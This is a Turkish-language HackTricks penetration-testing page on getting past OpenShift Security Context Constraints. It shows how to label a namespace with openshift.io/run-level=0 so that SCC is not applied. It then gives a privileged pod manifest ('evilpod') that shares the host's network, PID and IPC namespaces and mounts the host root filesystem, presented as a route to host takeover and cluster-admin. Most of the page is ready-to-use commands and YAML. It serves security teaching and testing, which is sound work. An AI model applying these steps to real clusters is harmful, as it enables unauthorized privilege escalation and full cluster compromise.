Openshift - SCC bypass

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Bu sayfanın orijinal yazarı Guillaume

Ayrıcalıklı Ad Alanları

Varsayılan olarak, SCC aşağıdaki projelere uygulanmaz:

  • default
  • kube-system
  • kube-public
  • openshift-node
  • openshift-infra
  • openshift

Bu ad alanlarından birinde pod’lar dağıtırsanız, SCC uygulanmayacak ve ayrıcalıklı pod’ların dağıtımına veya ana bilgisayar dosya sisteminin bağlanmasına izin verilecektir.

Ad Alanı Etiketi

RedHat belgelerine göre, pod’unuzda SCC uygulamasını devre dışı bırakmanın bir yolu vardır. Aşağıdaki izinlerden en az birine sahip olmanız gerekecektir:

  • Bir Ad Alanı oluşturun ve bu Ad Alanında bir Pod oluşturun
  • Bir Ad Alanını düzenleyin ve bu Ad Alanında bir Pod oluşturun
$ oc auth can-i create namespaces
yes

$ oc auth can-i patch namespaces
yes

openshift.io/run-level etiketinin belirli bir kullanımı, kullanıcıların uygulamalar için SCC’leri aşmalarını sağlar. RedHat belgelerine göre, bu etiket kullanıldığında, o ad alanındaki tüm pod’lar üzerinde hiçbir SCC uygulanmaz, bu da herhangi bir kısıtlamanın kaldırılması anlamına gelir.

Etiket Ekle

Ad alanınıza etiketi eklemek için:

$ oc label ns MYNAMESPACE openshift.io/run-level=0

Bir YAML dosyası aracılığıyla etiket ile bir ad alanı oluşturmak için:

apiVersion: v1
kind: Namespace
metadata:
name: evil
labels:
openshift.io/run-level: 0

Artık, ad alanında oluşturulan tüm yeni pod’ların herhangi bir SCC’si olmamalıdır.

$ oc get pod -o yaml | grep 'openshift.io/scc'
$

SCC’nin yokluğunda, pod tanımınız üzerinde herhangi bir kısıtlama yoktur. Bu, kötü niyetli bir pod’un ana sistemde kolayca oluşturulabileceği anlamına gelir.

apiVersion: v1
kind: Pod
metadata:
name: evilpod
labels:
kubernetes.io/hostname: evilpod
spec:
hostNetwork: true #Bind pod network to the host network
hostPID: true #See host processes
hostIPC: true #Access host inter processes
containers:
- name: evil
image: MYIMAGE
imagePullPolicy: IfNotPresent
securityContext:
privileged: true
allowPrivilegeEscalation: true
resources:
limits:
memory: 200Mi
requests:
cpu: 30m
memory: 100Mi
volumeMounts:
- name: hostrootfs
mountPath: /mnt
volumes:
- name: hostrootfs
hostPath:
path:

Artık ana sistemin erişim haklarını artırmak ve ardından tüm kümeyi ele geçirmek, ‘cluster-admin’ ayrıcalıkları kazanmak daha kolay hale geldi. Aşağıdaki sayfadaki Node-Post Exploitation bölümüne bakın:

Attacking Kubernetes from inside a Pod

Özel etiketler

Ayrıca, hedef kurulumuna bağlı olarak, bazı özel etiketler / açıklamalar önceki saldırı senaryosunda olduğu gibi kullanılabilir. Yapılmamış olsa bile, etiketler belirli bir kaynağa izin vermek, kısıtlamak veya kısıtlamamak için kullanılabilir.

Bazı kaynakları okuyabiliyorsanız özel etiketleri aramaya çalışın. İşte ilginç kaynakların bir listesi:

  • Pod
  • Deployment
  • Namespace
  • Service
  • Route
$ oc get pod -o yaml | grep labels -A 5
$ oc get namespace -o yaml | grep labels -A 5

Tüm ayrıcalıklı ad alanlarını listele

$ oc get project -o yaml | grep 'run-level' -b5

Gelişmiş istismar

OpenShift’te, daha önce gösterildiği gibi, openshift.io/run-level etiketine sahip bir ad alanında bir pod dağıtma iznine sahip olmak, kümenin kolayca ele geçirilmesine yol açabilir. Küme ayarları açısından, bu işlevsellik devre dışı bırakılamaz, çünkü OpenShift’in tasarımına içkindir.

Ancak, Open Policy Agent GateKeeper gibi hafifletme önlemleri, kullanıcıların bu etiketi ayarlamasını engelleyebilir.

GateKeeper’ın kurallarını aşmak ve bu etiketi ayarlayarak bir küme ele geçirme işlemini gerçekleştirmek için, saldırganların alternatif yöntemler belirlemesi gerekecektir.

Referanslar

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin